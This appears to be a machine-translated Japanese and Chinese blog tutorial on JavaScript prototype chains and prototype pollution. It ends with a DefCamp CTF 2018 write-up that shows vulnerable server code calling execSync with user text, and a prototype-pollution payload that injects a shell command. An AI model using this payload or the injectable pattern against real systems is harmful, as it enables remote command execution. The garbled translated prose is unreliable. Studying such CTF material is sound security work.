自分の理解についての0x01の話
function a(){}
var b=new a()
var c = {}
a.__proto__.__proto__ == b.__proto__.__proto__ == c.__proto__
a.__proto__ != b.__proto__ != c
- この時間は、B
__proto__
点でありますa.prototype
a.prototype
__proto__
ポイントは、Object.prototype
- B
constructor
点もありますfunction a(){}
- そして、それはだ
__proto__
というポイントFunction.prototype
今Function.prototype. constructor
を指しFunction(){}
- 上記
Function(){}
にも__proto__
ポイントにFunction.prototype
Function.prototype
コンストラクタも指摘しますFunction(){}
Function.prototype
__proto__
同時点Object.prototype
Object.prototype
コンストラクタがありますObject
- オブジェクト;中
__proto__
にターンポイントFunction.prototype
- Object.prototypetは__proto__です
null
- 追加で
a.constructor
のポイントFunction
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
let son1 = new Son()
son1.__proto__ //object{...}
Son.prototype = new Father()
let son2 = new Son()
son.__proto__ //Object { first_name: "Donald", last_name: "Trump" }
全体的prototype
に他のオブジェクト指向言語の親クラスを継承する同等の
画像参照アドレス
何0x02のプロトタイプチェーン汚染
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar) // 1
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1,先查找本身的属性,若没有再层层递进
console.log(foo.bar) //1
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar) //2
プロトタイプチェーンが汚染される場合0×03?
1.对象`merge`
2.对象`clone`(其实内核就是将待操作的对象merge到一个空对象中)
オブジェクトはmerge
、例えば、我々は、単純な想像merge
の機能を:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
私たちは、このコードを試してみてください
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b) // 1,2
o3 = {}
console.log(o3.b) //undefined
その結果、合併の成功が、プロトタイプチェーンが汚染されていません。
これは、我々が使用しているのでれるJavaScript
O2を作成するプロセスlet o2 = {a: 1, "__proto__": {b: 2}}
では、__proto__
あなたがそれを取得し、この時O2すべてのキーの名前を通じて、O2のプロトタイプを表現している[a, b]
、__proto__
いないkey
、自然に、変更されませんObject
プロトタイプを。
だから、どのように__proto__
それがキー名も考えられていますか?
私たちは、このようなコードを変更します:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b) // 1,2
o3 = {}
console.log(o3.b) //2
、これはあるJSON
解決の場合には、__ proto__がそのようにキーが存在することになるときO2トラバース、本当の「キー」とみなされ、「プロトタイプ」を表すものではありません。
マージ操作は、キー名を制御することができる最も一般的な操作であり、ほとんどはプロトタイプチェーン攻撃することができ、多くの一般的なライブラリは、この問題を抱えています。
0x04の分析例
私たちは、例えば、DefCamp CTF 2018上の話題に持っている
一般的に見て、Node.jsのコードのチャットルーム
const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')
if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
name: process.argv[2],
};
socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});
socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})
socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));
クライアントコードは、私たちがserver.jsコードをフォローアップしていき、比較的簡単です
getAscii: function(message) {
var e = require('child_process');
return e.execSync("cowsay '" + message + "'").toString();
}
非常に明確なコマンドが実行される脆弱性が見つかり、私たちは、この関数が呼び出された場所を確認していき
client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);
sendMessageToClient(client,"Server",
"You joined channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});
client.on('leave', function(channel) {
try {
client .join(channel);
clientManager.leaveChannel(client, channel);
sendMessageToClient(client,"Server",
"You left channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel, "Server",
helper.getAscii("User " + u + " living in " + c + " left channel"))
} catch(e) { console.log(e); client.disconnect() }
});
だから次の質問は、変数を制御する方法になっu
たりc
、ユーザーが入力したusername
とcountry
、しかし、問題はそう単純ではないのですか?もちろん、サーバーは、非常に厳格なユーザー入力の検証を行いますありません。
validUser: function(inp) {
var block = ["source","port","font","country",
"location","status","lastname"];
if(typeof inp !== 'object') {
return false;
}
var keys = Object.keys(inp);
for(var i = 0; i< keys.length; i++) {
key = keys[i];
if(block.indexOf(key) !== -1) {
return false;
}
}
var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}
return true;
}
我々はできるCTRL+F
、我々が何もないことができるように見つけるPrototype污染攻击
場所を一般的な上記の二つの機能と、(merge,和clone)
攻撃の環境を形成することができます。
function clone(obj) {
if (typeof obj !== 'object' || obj === null) {
return obj;
}
var newObj;
var cloneDeep = false;
if (!Array.isArray(obj)) {
if (Buffer.isBuffer(obj)) {
newObj = new Buffer(obj);
} else if (obj instanceof Date) {
newObj = new Date(obj.getTime());
} else if (obj instanceof RegExp) {
newObj = new RegExp(obj);
} else {
var proto = Object.getPrototypeOf(obj);
if (proto && proto.isImmutable) {
newObj = obj;
} else {
newObj = Object.create(proto);
cloneDeep = true;
}
}
} else {
newObj = [];
cloneDeep = true;
}
if (cloneDeep) {
var keys = Object.getOwnPropertyNames(obj);
for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var descriptor = Object.getOwnPropertyDescriptor(obj, key);
if (descriptor && (descriptor.get || descriptor.set)) {
Object.defineProperty(newObj, key, descriptor);
} else {
newObj[key] = clone(obj[key]);
}
}
}
return newObj;
}
ここでは、明らかにclone
私たちが構築して利用できる、payload:node client.js {"__proto__":{name:213'&&dir&&'5}} 555
第二のパラメータは、チャットルームの名前入力し
、dirコマンドを使用するので、私は窓に再現しています。
繁殖成功!